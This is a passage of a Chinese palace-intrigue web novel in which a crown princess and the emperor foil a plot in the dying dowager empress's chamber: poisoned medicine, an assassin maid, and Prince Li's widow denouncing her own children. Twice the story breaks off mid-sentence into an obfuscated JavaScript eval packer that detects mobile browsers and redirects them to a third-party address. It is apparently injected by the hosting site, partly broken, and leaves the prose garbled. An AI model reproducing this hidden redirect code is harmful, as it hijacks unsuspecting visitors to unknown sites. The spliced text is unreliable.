“妾想给殿下新做几件衣裳。”穆嫔示意宫人捧上一本簿册，“想让殿下先挑挑式样，妾好尽快做出来。” 凡是擅书画者，审美都不会很差。穆嫔画得一手好山水，衣裳颜色式样搭的也好看，景昭眼风一扫：“先放下，你怎么想起来做衣裳？” 穆嫔眨着眼睛，娇声说：“妾尽一尽东宫嫔妾的本分，来讨好殿下。” 景昭扬眉道：“你这是……” “上午信郡王妃进宫探病太后，拐到东宫来，当时殿下不在，妾出面待客，信郡王妃拉着妾的手好一番关怀，还捋了个镯子。”穆嫔一抬手，腕间翡翠镯子泛着柔润碧光，果然极是好看，“殿下看见了吗，这是让妾帮忙吹枕边风呢！” 噗嗤！ 承书女官没忍住笑出了声，连忙躬身请罪，旋即忙不迭地退了出去。 景昭按按眉心：“枕边风？你来吹？” 穆嫔娇滴滴地道：“妾好歹也是东宫里唯一有名有份的妃妾，殿下怎么看不起人呢？相传信郡王妃的嫡亲侄儿年方二八，容貌俊美，自十岁开始读着《闺训》《女诫》《妇德》长大，是专为侍奉东宫培养的呢！” 景昭刚端起茶水，闻言眉头一蹙：“建元三年朝中就不许刊印这些书了。” “哎呀殿下，圣上和你高居云端，自然不懂下边的心思。”穆嫔抱起那本花样册子，捧在胸前展示自己的用心。 “有谈国公这些重臣带头，那些家里排行靠前的女孩儿倒是可以一起和兄长读书，等着萃英司选拔录用。可即使再尊贵的门第，也不能把家中子嗣前途全都安排妥当，那些排行靠后，或是非嫡出的女孩儿，照旧要乖乖等着嫁人——不过男孩儿也是一样，既然家里为前面的哥哥姐姐们铺好了路，轮到他们就没什么前途了，与其苦苦去争个七八品小官辱没门第，还不如养的温柔婉顺一点，备一份嫁妆许个能干的女郎。” “朝廷不准印《闺训》《女诫》《妇德》，把前面那个字隐去不就行了？名字都不用费心改。”穆嫔继续娇滴滴地道，“妾在闺中时，也读过呢。虽是嫡长女，可早失怙恃，祖父不疼祖母不爱，也只能和幼弟幼妹一样等着配人。” 景昭端着茶盏，沉吟片刻。 见她不出声，穆嫔却想得和景昭南辕北辙：“殿下也听说过信郡王妃侄儿的美名？” 景昭不答，穆嫔又试着猜测道：“难道殿下想在‘十八学士’中挑一个？那殿下能不能给妾安排好去处，谈世子对妾就不大看得上眼，妾将来在正妃手底下讨生活怕是不容易。” ‘十八学士’指东宫十八位伴读，当年皇帝封景昭为皇太女，旋即立刻在心腹爱臣、名门大族里挑挑拣拣，挑出了九男九女共十八名年纪相近的伴读入侍东宫，因为挑选条件太过苛刻，时人戏称十八学士。 “这就吹起风了？”景昭站起身，瞟她一眼，“你一天不惹事我就要烧高香了。” 穆嫔左顾右盼：“殿下说什么呢，妾听不懂。” 触及似笑非笑的目光，穆嫔知道糊弄不过去了，恨恨跺脚：“殿下！景煜好不要脸，这才安分了几日，就敢说出‘床前尽孝是儿孙本分，能代替圣上和储君尽孝，亦是我的荣幸’——这是什么意思，是暗指殿下您不孝吗？还敢自称替圣上尽孝，什么时候轮得到他！” 这份气恼货真价实毫不作假，穆嫔是真真正正在华阳宫侍疾过的，且还不是短短几天，而是整整一个多月。 按理来说，宫中贵人侍疾只是个名头。远远看一眼炉子就算是亲自煎药，端起药碗递给喂药的侍从就算是亲自侍奉，哪怕坐在床前什么也不干，传出去都能落个衣不解带昼不安寝的诚孝美名。 但太后则不然，以上那些清闲的事全归了礼王妃与云华郡主，穆嫔则是半点也别想闲着，还要动辄遭受斥责，像是被太后一碗汤药扣在身上，那简直不值一提。 穆嫔可不相信，礼王世子身为太后心爱的孙子，太后会舍得对他百般磋磨发作。 景昭不温不火道：“所以你就说‘太后病情从前屡有起伏，偏偏礼王世子进宫之后，太后的病情就越来越重，再不见好转，该不会是被礼王世子克的’？” 穆嫔语塞。 敲打两句，景昭不再多说——穆嫔侍疾时确实受了委屈，且又是替东宫受过。 她理一理袖摆，抬步向外走去，守在殿外的随侍们立刻撑起伞，挡住檐下飘入的细密雨滴。 “殿下要走？”穆嫔跟着追了两步。 景昭踏出门槛，闻言似笑非笑地转身，抬手凌空一点：“本宫去面圣，你老实待着。” 阶下车辇早已备好，景昭登车，车帘放下，隔绝了雨中飘来的寒气。 另一名随侍内官坐在车帘外，隔帘低声细细禀报，多是些不太重要、但较紧急的事。这些事由东宫属官给出处置意见，但终究要皇太女点头做决断。 景昭一手支颐，靠在小几上，眉间隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14845146|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现倦色。 连日来政务繁忙，又逢华阳宫兴风作浪。虽然有皇帝坐镇，但景昭总是不能全然放心，必须分神留意一二。 自从新年过后，景昭没有一天睡的时间超过三个时辰。 她的眼睛渐渐合上，车中侍立的女官有些心疼，刚想揭开车帘示意内官噤声，忽而只听景昭开口，径直截断了内官的话：“打回去，不允。” 这句话斩钉截铁掷地有声，内官顿时精神一振，应了声是默默记下，旋即又接着禀报。 景昭大多数时间并不开口，安静到令女官忍不住怀疑她睡着了。然而每逢开口必然一语命中要害，不容分毫更改。 等到车辇停在明昼殿前，景昭已经将内官禀上来的政务处置完毕。 她拾阶而上，熟门熟路径直越过宫人，孤身推门走入后殿。 皇帝依旧坐在屏风后，他靠在那尊玉像旁边，闭着双眼，一手支颐，似是在小憩。 景昭唤了声父皇，一边走上前，一边挽起宽大袖摆。 她蹲下身来捡起地面上掉落的刻刀，然后左顾右盼，最终摘下屏风前悬着的麈尾当做扫帚，将地面上的玉屑扫开，清出皇帝身旁一片空地。 做完这些事，她直起身。 只见皇帝不知何时睁开了眼，长眉浅蹙：“这是我的麈尾。” 景昭抖了抖麈尾，从中掉出许多玉屑来，她若无其事地将它挂回去，拖过蒲团坐在那片扫出来的空地上：“哦，确实不如扫帚好用。” 皇帝静静看着她，眉梢微动。 景昭很少看见皇帝这幅表情，几乎以为他要发火，心想不会吧！ 片刻之后，皇帝微扬的眉梢渐渐沉落，秀丽倦然的眼底难得现出一抹笑意。 他朝着景昭招了招手。 景昭走过去，坐在皇帝身侧的蒲团上。 一只手落在她的头顶，动作轻柔随意，那只手揉了揉，揉乱了景昭一丝不苟的头发。 皇帝的声音从她头顶传来，似是叹息，又似欣然：“比上不足比下有余，虽然不省心，至少不愚蠢。” 景昭甩了甩头，没能甩开皇帝的手，只好就着这个姿势说：“那父皇是不是应该庆幸，然后对儿臣更好一点。” 皇帝哂笑道：“蠢笨如景宜亘古少有，遗毒儿女是很自然的事。我与你母亲如果生出个蠢货来，就该怀疑你是不是我们的亲生骨肉了。” 景昭一时语塞，沉默片刻道：“儿臣如果蠢笨一点，说不定父皇能省心不少。” “你就算是个蠢货，朕也不可能省心，只会比如今烦恼千百倍。”皇帝的声音轻而冷，“你是我和你母亲的骨血，唯有登上皇位一条路可走。无论你是男是女，是贤是愚，就算你是一条狗，也必须坐到这个位置上。朕把江山留给别人，然后指望别人给你一世富贵无忧？” “把主动权交到别人手上，那才是板上钉钉的取死之道。” 或许是年少做名士时留下的习惯，皇帝说话时吐字总是很柔很轻，却又非常清晰，每一个字都掷地有声冷硬如铁。 他抬起景昭的脸，注视着女儿文秀的面容。 景昭年幼时，皇帝时常长久地注视着她，试图从她脸上找寻到她的母亲留下的痕迹。 然而随着景昭长大，她的容貌越来越像皇帝，一次次的失望之后，皇帝已经很久没有这样长久地看着她了。 “记住了么？”皇帝看着她说，“不要相信任何人。” 骤然转为安静的气氛里，景昭望着父亲的眼睛，缓缓点头。 皇帝松开手，平静注视着她：“很好。” “起来。”他说。 景昭不明所以，却仍然依言而行，拂去衣摆上沾染的三两点玉屑，站起身来。 “走。” 皇帝同样起身，率先向屏风外走去。 “去哪里？” 皇帝唇边骤然露出一丝笑意，那笑容不含丝毫情绪，诡谲冰冷，近乎奇异。 “去送太后最后一程。” 似乎是为皇帝这句话做注解，殿外足音骤起，由远及近急奔而来。紧接着扑通一声有人跪倒在殿门外，梁观己的声音颤抖着响起：“圣上，华阳宫急报，太后……太后将……将属纩了！” 5. 第五章 华阳宫中一片死寂。 檐外雨丝渐密，交织出哗啦啦的雨声。廊下殿外阶前，各处宫人或跪或站，面色一片僵硬的青白。 殿外檐下，一个身形袅娜的背影站在那里，正无声捂脸恸哭，指缝里透明的泪滴不住滚落，打湿了脚下的地面。 “圣上！”“殿下！” 宫人们纷纷拜倒，声音此起彼伏，惊动了殿外捂脸恸哭的女子，她转过身来，一双眼睛红肿如桃，以袖掩面慌张拜倒。 “王妃请起。”景昭稍稍驻足，对礼王妃客气了一句，又匆匆疾走两步，追上前方恍若未闻缓步前行的皇帝。 刚踏进寝殿门槛，景昭情不自禁地闭住了气。 浓郁的药气充斥了整间寝殿，几乎到了令人目眩的程度，汤药特有的酸腥苦涩弥漫在每个角落，混杂成一种极为古怪的味道。 殿内异常昏暗，门窗紧闭，层层帐幔全都落下，分明此刻还是白日，却暗淡如同夜晚。 据为太后看诊的太医禀报，太后病情急剧恶化，胸痹心痛无法遏制，见风见光都会晕眩。原本景昭以为这是太医夸大其实的说辞，但今日看来，这番说辞即使不能尽信，至少也有三分真实。 换做任何一个正常人，都无法在这间昏暗封闭的寝殿内长久停留。 随着皇帝与太女到来，殿内跪倒一片，床前端着汤药的云华郡主与礼王世子也连忙放下手中药碗，跟着跪倒行礼。 皇帝看也未看，径直走过。 景昭早已习惯了父亲目无下尘的做派，照例停了一下，温声叫起。同时眼睛终于适应了殿内极暗的光线，她微微垂眼，瞥了一眼礼王世子。 这是太后的心头肉，已故礼王的嫡长子。 他与母亲并不相似，倒是长得更像礼王。单论长相，说一句俊美少年并不过分，比他的亲妹妹云华郡主容貌更加出众。 此刻，礼王世子恭谨跪伏于地，一举一动雍容得仪，这幅模样非常好看，与礼王生前颇有些相似。 太后一直格外关怀这个孙子，想来也正是因为他像极了太后最爱的小儿子。 这份思绪从心中一转而过，其实也只在片刻之间。 下一刻，皇帝已经来到了床前。 景昭跟在皇帝背后，她看不见皇帝脸上的神色，却听见帷帐内传来一个异常虚弱、又异常惊喜的声音。 “容儿。”太后虚弱道，“是容儿来了吗？” 守在床前的宫人连忙揭开帷帐，帷帐后露出了太后的脸，枯槁惨淡，比起数日前景昭看到的更加憔悴黯淡。 景昭曾经见过将死之人，当她看到太后的面孔时，她已经确信无疑—— 太后的确是将要死了。 “容儿。”太后喃喃地道，“你来了，哀家还以为至死都见不到你……你是不是肯原谅哀家了？” 太后的语气中带着前所未有的哀恳与虚弱，这份来自亲生母亲的央求与软弱，足以令天底下最铁石心肠的人为之动摇。 皇帝向前迈了一步，平声唤道：“母后。” 这声呼唤似乎给太后带来了极大的动力，昏暗浑浊的眼底忽然生出了一种近似希冀的光芒，她竭力伸出手，泪水纵横：“容儿，你终于肯来见娘了！能再见你一面，到了地下娘也没什么可后悔的！” 皇帝在床边的锦凳上坐下：“何必作此不吉之语。” 太后已然哽咽连声。 景昭摆手拒绝宫人搬来的锦凳，储君不能和皇帝并肩而坐，但如果落后半步坐下，又显得不伦不类。 她微一侧首，低声吩咐跟在身后的女官：“回去看看，穆嫔也该过来。” 女官应声转身，快步奔出殿门，拉住随行的东宫侍从耳语道：“殿下的意思，回去给穆嫔娘娘传话——紧闭东宫宫门，任何人不得外出走动。” 她再折回殿中时，只见太后正握着皇帝的手，絮絮讲述旧事。皇帝并不打断，侧耳听了半晌，忽的太后面色一变，捂住胸口向后仰倒。 太医狂奔入殿，诊脉禀报：“太后娘娘骤然大惊大喜，有些承受不住。” 皇帝声音平淡地问：“你们就是这么照顾太后的？” 太医扑通一声跪下来，不敢作声，直到太后颤巍巍开口：“哀家大限将至，和刘太医的医术无关，他给哀家看诊多年，尽心竭力，无罪有功，皇帝不要责罚他。” 话音未落，太后又是一阵呛咳，待平息下来，才说道：“太女说过你政务繁忙，北边又在打仗。若在平日，哀家断不敢久留你，但哀家自己的身体自己知道，怕是闭上眼就睁不开了，你留一留，让哀家多看你两眼。” 皇帝道：“好。” 他语调一直极为平淡，用词也简洁之至，全然看不出半分情绪。但他能出现在华阳宫里，对于这里的所有人都是莫大的鼓舞。 谁都知道，皇帝向来薄情。 当年同胞弟弟礼王身死，皇帝毫无哀色，只按旧例命人寻常加恩下葬，以至于至今市井间还隐秘流传着皇帝诛杀胞弟的传闻。 太后因此哀伤过度，激动之下出言质问，说出了黄泉之下永不相见的话，从那以后整整五年，皇帝再没有踏入华阳宫半步。 今日皇帝出现在这里，其实已经是一种隐晦的象征。 太后怔怔看着皇帝的脸，泪水更加汹涌。 落在旁人眼里，这是太后喜不自胜，母子二人终于准备摒弃前嫌的表现。 事实上，太后已经看不太清楚了。 但她知道，景容不会为她落泪的，他的心肠本来就足够冷硬，那些为数不多的情绪，早就在十年前随着死人一同被埋进了土里。 前有文庄，后有文宣。自己这个亲生母亲在他心底的分量，从来都没有多少。 这样冷酷薄情的儿子，哪里比得上景宜孝顺可爱。 于是她的心变得更加冷，心底的主意更加坚定。 她合上了眼，一动不动，像是睡去，又像是死了。 . 天色渐暗，雨势渐大。 时间慢慢过去，殿内依旧死寂。 从皇太女命人去东宫传召穆嫔到现在，已经过了几个时辰，穆嫔却仍没有出现。 这其实非常古怪，不过殿内所有人显然都无心关注一个东宫嫔御，再加上礼王妃需要回避皇帝，自觉躲了出去，众人就更加不会思考穆嫔为什么迟迟不来。 宫人几度奉上茶点，皇帝并没有要动的意思，景昭挥挥手，示意他们撤下去。 等到屏风外点起第一支灯烛时，太后终于醒了。 长久的昏睡之后，太后的嗓子极为嘶哑。景昭接过茶水，确定皇帝并没有接过去亲力亲为的意图，只好转手递给侍立在另一侧的女官，亲眼看着宫人喂了太后两口水，满意地收回目光。 这才是正常侍疾的流程，宫中贵人只需要沾一沾手即可，传出去便是亲力亲为的佳话。 跟随景昭前来的东宫女官眼也不眨，仔细看着，已经在心里拟好了称颂太女殿下诚孝之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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太后唇边的笑意忽然散去，但这只是一瞬间的功夫，快到几乎令人无法察觉：“太女要自告奋勇吗？” 景昭端着那碗汤药，恭敬道：“论孝敬，这碗汤药该父皇亲力亲为。但论尊卑，这等琐事本该由卑者分忧；论长幼，幼者在此，不敢烦劳长者。” 说这话的时候，她的声音异常温和。 太后唇边再度泛起笑意，只是那笑意虽不勉强，亦不很是期盼，仿佛只盼着皇帝接过药碗。 下一刻—— “且慢。”景昭话锋一转，眼底笑意未褪，直直扫向已经退至殿门处的礼王世子，“亲尝汤药这等孝举，世子先来。” 太后唇边笑意骤然凝固。 “抑或是世子孝心有限，不愿为君上分忧？” 景昭眼底笑容寸寸褪去，目光有如寒刃，从僵立的世子身上一掠而过。 她微微倾身，舀起一勺汤药，送到了太后唇畔。 “既然如此，灵丹妙药，请太后先尝。” 腥苦药气萦绕鼻尖，雪白玉勺衬着黑褐汤药，清清楚楚倒映在太后微微颤栗的眼底。 当啷！ 脆响骤起，汤药连带着破碎瓷片飞溅开来，尽数泼洒在床前地面上，半边床帐染作褐色，数片碎瓷叮当掉落，落在景昭身前不远。 ——是太后竭尽力气，一把掀翻了药碗！ 6. 第六章 殿内化作一片极度安静的死寂。 在这突如其来的变故面前，刹那间殿内众人尽数僵在原地，无法做出任何反应。 扑通！ 死寂终于被打破了，是礼王世子双膝一软，跌跪在地。 “皇祖母。”景昭的声音柔和恭谨，活脱脱便是孝子贤孙的标准模样，“请您教诲，这是什么意思啊？” 伴随着她的声音，殿内僵在原地的侍从们终于醒过神来，即使再愚蠢的人也意识到情形不对，慌乱跪伏于地，像是一捆捆被拦腰割倒的麦子。 太后重重仰倒在高床软枕间，胸脯起伏剧烈喘息，浑浊眼底愤恨难消，一时间吐不出半个字来。 唯有跟随她几十年的郑嬷嬷膝行向前，不断替太后拍抚胸口，又转过身来拜倒哀哭：“圣上，圣上，太后她是心智糊涂了啊！” 景昭眉梢挑起，眸光一转，瞥见皇帝毫无表情的冰白侧脸，唇瓣微启正欲开口，忽而身后嚎哭声平地骤起，饶是以景昭的心性，都被这突如其来的鬼哭狼嚎吓了一跳。 是礼王世子。 数名守在殿门处的御前侍从反应迅速，已经咔咔两声将礼王世子与云华郡主按倒在地，却没堵住他们的嘴。 礼王世子脸颊贴在地上，仍然竭力向前挣扎蠕动，大哭道：“皇伯父！皇伯父明鉴！此事与臣侄无关，臣侄实不敢有半分妄念，都是受皇祖母一力鼓动啊！” 他原本算得上风度翩翩的美少年，但这一哭一喊间，原本芝兰玉树般的风姿消失殆尽，只剩下令人瞠目结舌的懦弱可笑。他的话音未落，不少人已经忍不住露出了鄙夷之色。 皇帝充耳不闻。 他只是很平静地侧首，看了景昭一眼。那一眼很平淡，其中的意思却表露无遗。 ——看见了吗？ 恶意、背叛和丑态，本来就是这个世界的常态。母亲可以毒杀儿子，孙子可以背叛祖母，大难临头各自飞，更是数百年间一遍一遍不断上演的相同戏码。 礼王世子的嚎哭仍在继续。 在他身侧，云华郡主同样被按倒在地，柔嫩的小脸压在冰冷地面上，反剪的双臂和压紧的腰膝传来阵阵痛意。 她没有哭，也没有喊，只是象征性挣动了两下，耳朵紧紧贴着地面，似乎想借此听见一些动静。 然而她什么都没听见。 殿内殿外除了连绵雨声与身侧兄长狼狈的嚎哭声，天地间一切声音似乎都消失了。 云华郡主的心渐渐沉落，最终只剩一片冰凉。 愤恨、失望和未知的恐惧，几乎同时攫住了她的心脏。她听见自己的心跳声，砰！砰！砰！ 越来越急促，震耳欲聋，仿佛要冲破她的胸腔。 她骤然爆发出一声尖锐的厉喝：“景煜，你闭嘴！” 这声厉喝平地乍起，不但礼王世子被她惊住，就连景昭也微微侧过脸，朝殿门处望来。 “你这丢人现眼的东西！”云华郡主厉声道，“给我闭嘴！” 放在往日，礼王世子娇生惯养又唯我独尊，决计受不了被妹妹如此冒犯。然而他本就是个金尊玉贵的废物，如今恐惧到了极点，只想哀恳求饶，哪里还有胆量在皇帝与储君面前还口斥骂。 “软骨头，窝囊废！”云华郡主一字一句道。 下一刻，她尾音骤然变调，尖锐上扬：“动手！” 这两个字急如星火，快如闪电，从云华郡主舌尖一掠而过。快到任何人都来不及做出反应，甚至来不及思考。 就在云华郡主喊出动手的前一刻，屏风一侧跪着的一个褐衣宫女，悄无声息抬起眼来。 她有一张很平淡的面容，淡得像是一块褪了色的布匹，在这富丽堂皇的宫室中暗淡至极，无论谁从她身边路过，都不会有兴趣多看一眼，当然也不会记住她的面容。 褐衣是华阳宫二等宫女的标志，华阳宫的宫女，守在太后的寝殿里，当然挑不出半点问题，也不会引起半点疑心。 何况她本来就是那样平常、平淡乃至平庸，绝不会引人留意。 她的袖中藏着一把短匕首，这把短匕首的刀刃涂成灰黑色，完美隐没在光影黯淡的寝殿里，绝不会使得袖底刀刃在举手投足间反射出光芒。 当云华郡主喊出动手两个字时，殿内所有人都没有来得及做出反应，唯有她明白，这句话是说给她听的。 一道褐色身影，如猎豹般急跳而起，朝着太后床前不远处扑来，袖底匕首滑至掌心，一刀刺向皇帝。 世人皆知，皇帝生于南方顶级世家江宁景氏，过去曾是享誉天下的少年名士。 名士需要精擅的，是琴棋书画、谈玄论道，游山玩水、赏月吟风。或许还要加上一些其他的才能，但这些才能里，绝对不包括空手接白刃。 皇帝当然不会、也不能避开这一记突如其来的攻击。 噗嗤！ 血肉撕裂，刀刃刺入又拔出，血花四溅。 褐衣宫女爆发出一声惨叫。 咔嚓！ 染血的漆黑刀刃砰然坠地，一双手搭上褐衣宫女手腕，既快又准反拧两记，骨骼应声断裂。 惨叫声骤然上扬，近乎撕心裂肺。 那双手松开了，下一刻，它移到了褐衣宫女脖颈间。 “够了。”皇帝轻飘飘地道，“先下狱审一遍。” “是。”那双手的主人喜气洋洋应声，松开褐衣宫女，站回了皇帝身后。 景昭忍不住多看了一眼。 那是个面目平庸、身形微丰的宫人，单看这张扔进人群里找不到的脸，谁都想不到他能在变故骤起的短短一刹之间空手夺刀制敌。 两个御前侍卫如狼似虎地冲进来，将奄奄一息的褐衣宫女拖走了。 鲜血滴落一路，蔓延至云华郡主面前。她怔怔望着那两名不知从何处冒出来的御前侍卫，嘴唇剧烈颤抖，方才大声呵斥兄长的气魄忽然消失了，面色也迅速灰白下来。 “啊啊啊啊啊！” 礼王世子目光发直，愣愣瞪着沿途滴落的鲜血，仿佛那一刀是捅在了他自己身上，手足并用竭力向后挣扎。 制住他的侍从没想到礼王世子极度恐惧之下力量大增，险些被他出其不意挣脱，连忙加了把力气，又顺利制服礼王世子。 皇帝眉心微蹙，似是有些厌倦。 景昭看着父亲的脸色，毫不怀疑他下一秒会脱口而出说一句真烦，抢先皱眉道：“在饮食里下毒、收买皇城禁卫、安排刺客……都是些老套的戏码，还有吗？” 还有吗？ 这三个字从皇太女口中轻飘飘说出，就像是敲打在云华郡主心头的一记丧钟。 她原本很是愤恨，很是不甘，很想冷笑。然而随着这三个字落入耳中，她的心忽然一颤又一颤，像是有一只大手拧住了心脏，心底生出一种极为不好的预感。 另一个声音从她的身后传来，夹杂在殿外连绵的雨声里，语调平稳中带着无尽的哀意：“没有了。” 刹那间有如九天雷霆当头劈下，直直 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她看向礼王世子：“你从小由你父亲亲自教养，我插不了手，让他将你养成这幅眼大心空的模样，偏偏又没脑子，太后挑唆几句，就真的敢大胆图谋。我这做娘的，你从来看不起，只觉得我不如你父亲英明，不如你祖母宠爱你，只是个没什么见识的后宅妇人……你要自寻死路，我拦不住你。” 在礼王世子的叫骂声中，礼王妃又转向云华郡主，看着女儿眼底的怒意，木然片刻，泪水终于滴落下来。 “还有你。”礼王妃哀声道，“云华，你总觉得不公平，觉得你父亲和祖母偏爱景煜——可是你何曾看得起娘？在你眼里，你父亲和太后的图谋是宏图大志，娘则瞻前顾后难成大事，是么？” “可是凭什么啊？”礼王妃终于哭出声来，“你觉得不公平，凭什么嫁出去的女儿泼出去的水——可是我在你心里，不也是‘泼出去的水’？我嫁进景家，就该听你们景家人的话，不考虑自己的娘家。你们要图谋大事，何曾把我的意见听在耳中，把我的态度看在心里。这等抄家灭族的大罪，你们儿戏一般，什么都不过脑子，太后怂恿几句，我这双好儿女，一个盲听盲从，一个不管不顾，真就敢提着脑袋上。” “那我的娘家怎么办？建元五年我们王家因为你们父亲的愚蠢举动，险些遭了祸事，建元十年再来一次吗？” 礼王妃拭泪道：“抄家灭门的大罪，行事如同儿戏，不听从我的劝告，却要我陪着你们玩命，还要赔上王家满门？从夫从子，也不是这个从法；忠孝礼义，忠在最前面。你们要怨我恨我，我这个做娘的都认了，可我不心虚。” 礼王妃含泪陈辞掷地有声，一时间就连景昭都没有说话。 正在此时，床榻上忽然传来剧烈的嗬嗬声，太后喉头猛烈颤动，双眼圆睁有若厉鬼，所有人立刻定睛看去，只听太后勉强挤出一口气，怒斥道：“小贱妇！” 听到太后声音的那一刹，礼王妃猛地抬首。 她对着自己的儿女时，尚在垂泪哀叹，然而当她听见太后的声音时，牙关紧咬柳眉倒竖，显然恨到了极点，提起裙摆疾步走进屏风后面，见皇帝与太女面色毫无波动，先拜了一拜，旋即扑向太后床前。 饶是郑嬷嬷身体健壮忠心耿耿，都没挡住看似娇弱的礼王妃，反被重重搡开跌坐在地。 礼王妃扑至床前，一把攥住了太后领口，眼底恨意有若实质。 “老虔婆！”她厉声喝道，“你害我儿女，这帐怎么清算！” 7. 第七章 礼王妃的贤孝德行，向来在京城中很有名气。 她认真经营自己的声名，一举一动从不逾矩，活脱脱便是南方世家最为推崇的女子典范。 然而这一刻，她像只母兽般扑上去，紧紧攥着太后领口衣襟，眼底恨意难掩：“你害死景宜也就算了，你还要害我的儿女！老而不死是为贼，郑芙蕖，你怎么不早些死了！” 床榻不远处，皇帝忽然发出一声极轻的讽笑。 ——礼王妃的那句话，出自《论语·宪问》篇，整句话是 ‘幼而不孙弟，长而无述焉，老而不死是为贼。’ 这句话的意思是，年幼时不讲孝悌，长大后没有什么可说的成就，年老无德而不死。 从某种意义上来说，前贤这句话，活生生便是对太后一生的写照。 皇帝的讽笑一闪而逝，转瞬间便已敛没。 此刻殿内绝大部分人惊慌失措，郑嬷嬷连滚带爬地撑起身体，死命拉扯礼王妃：“王妃不可，太后实是一片怜爱子孙之心！” 郑嬷嬷虽然忠心耿耿，但脑子实在有限，这句话已经犯了大忌——如果太后纵容礼王世子谋逆是一片怜爱子孙之心，那她又把皇帝放在哪里？ 殿内人人屏气息声，恨不得把头塞进地里。 郑嬷嬷犹自不察，看见太后喘息不止脸色灰白，简直随时都要断气，忧心如焚。先是用力拉扯礼王妃，却因扭了脚起不了身无济于事，又转过头来连连磕头：“圣上，圣上您救救太后，奴婢求您救救太后！” 皇帝八风不动，恍若未闻。 眼看郑嬷嬷又转头看向自己，景昭想了想，觉得自己干站着似乎不好，自觉地移到皇帝身后，假装替皇帝揉肩。 皇帝皱眉回首，景昭低头装死。 皇帝不再理会景昭，却也没令她站到一边去，景昭于是继续站在皇帝背后，乍一看仿佛很忙。 承侍女官连忙又在心里记下，皇太女‘慈孝发于自然’，时刻关心圣体，实在是一等一的贤孝，堪为天下人典范。 郑嬷嬷见哭泣恳求无用，衔恨转身，又去拼命拉扯礼王妃：“当年太后金口玉言定下王妃，她待你不薄！” 床前乱成一团，殿内鸦雀无声，唯有郑嬷嬷的声音撕心裂肺。 殿门处，礼王世子早已缩成一团，像只鹌鹑般将头脸紧紧贴在地上，全身发抖惊慌失措。 反倒是云华郡主尚有几分胆色，厉声喝道：“阿娘住手！祖母待我们不薄，你怎能伤及祖母。” 事实上，很难分辨云华郡主的话究竟是出自一片纯然孝意，还是因为太后活着对她们更有利。但她显然年轻识浅，这句话喊出口，非但没能喝住礼王妃，反倒有如煽风点火般激起了礼王妃满腔愤恨。 “不薄。”礼王妃骤然松手，面色涨红的太后重重摔回床榻，发出惊天动地的剧咳，“哈，哈，待我不薄，待我们不薄。” 她不知是在回应郑嬷嬷，还是在回应云华郡主，语调蓦然转为尖锐：“不薄？太后娘娘，您是不是太后当得久了，忘记我是文庄皇后做主迎进门，低配给景氏幼子的弘农王氏女，不是您郑太后金口玉言赐婚的礼王妃。” 数十年前齐朝尚在时，南北士族坐大，北方以颍川穆、弘农王、谯国郑、汲郡梁四姓为贵，南方与之对应的顶级门楣则是吴郡沈、江宁裴、江宁景、竟陵杨。 南方士族尤重嫡庶，且又与前朝不同——自嫡长子以下，其余众子礼法上皆为庶孽。礼王景宜彼时与皇帝虽为同胞所出，但并非嫡长，不能继承家业。太后心爱幼子，见景宜不耐俗务，想为他择选一位门楣相当又嫁妆丰厚的名门贵女，一眼挑中了弘农王氏的嫡长女王文姬。 弘农王氏属北方士族，首重门楣，倒不如南方士族这般看重嫡庶。但自家女儿择婿，自然要挺直腰板，绝不能显得太好说话，白白放低身段。很是拿捏了一番架势，文庄皇后彼时还是景氏的当家老夫人，亲自多番致信，才算磨得弘农王氏点头嫁女。 “太后娘娘，您当年千方百计恳求文庄皇后，硬要为景宜求娶我，不就是看重我极受父母疼爱么。”礼王妃冷笑，“我为王氏女十七年，景氏妇十七年，难道前面那十七年都不作数？伪朝慕容氏作乱，杀我王氏子弟近百，致使王氏没落，你便立刻换了一幅嘴脸，若不是我生有儿女、谦卑侍奉，只怕日子还要难过千百倍。” “我父母兄长，乃至隔房姐妹，无一不融洽亲近。如今我母亲过世，老父年届七十，兄长姐妹侥幸在祸事中保全，已经是天大的幸事。我若再附从你们作乱，致使满门罹难，九泉之下亦无颜面见父母。” 她背过身来望着儿女的方向，长声惨笑：“要怨恨就怨恨吧，上行下效而已。谁说做娘的便要为了儿女不顾一切，太后能狠下心杀害亲子，只顾着出文庄皇后那口气，我为什么不能为了自己的父母亲眷，舍下自己的儿女。” 景昭下意识地替皇帝捏了捏肩，不知是不是捏错了穴位，皇帝微微皱眉，抬袖挥开。 云华郡主语塞，不知怎么的，忽然泪水盈满眼眶，嘴唇翕动两下，什么都说不出来了。 “你们自幼读书，却没学全吗？”礼王妃凄声道，“只读过《庄宗本纪》，没读过《尚允传》么？” 礼王妃援引的两篇文章，都出自《晋书》。前者记载了晋庄宗在南书房杀死兄长德宗皇帝后，仅凭四十名禁卫出其不意冲杀入皇宫正殿，自己为自己拟旨传位登基，神奇地篡位成功。 《尚允传》则是晋代名将尚允的列传，这位名将成名一战，是平息英王之乱——英王乃皇帝的第三子，毒杀皇帝意图夺位，然而毒杀皇帝之后，非但没能成功坐稳皇位，反而立刻成为众矢之的。众宗室一拥而上，打着为皇帝报仇的大旗，先砍死了英王，然后八方混战搅得朝野动荡，直到尚允平定动乱。 礼王妃读史不多，却也知道晋庄宗弑兄夺位，必定是事先做了万全准备，史书上只写了四十名禁卫，背地里只怕满朝文武都倒向了庄宗。而她的愚蠢儿女，自以为拉拢收买了八十多名禁卫，是庄宗两倍，又有太后坐镇，就是稳操胜券。 在她看来，自己这双儿女绝无成事之机，哪怕侥幸成事，也是英王的下场。 然而儿女不听劝告，被至高无上的皇权迷了双眼。礼王妃走投无路，只能抢先密告皇帝。 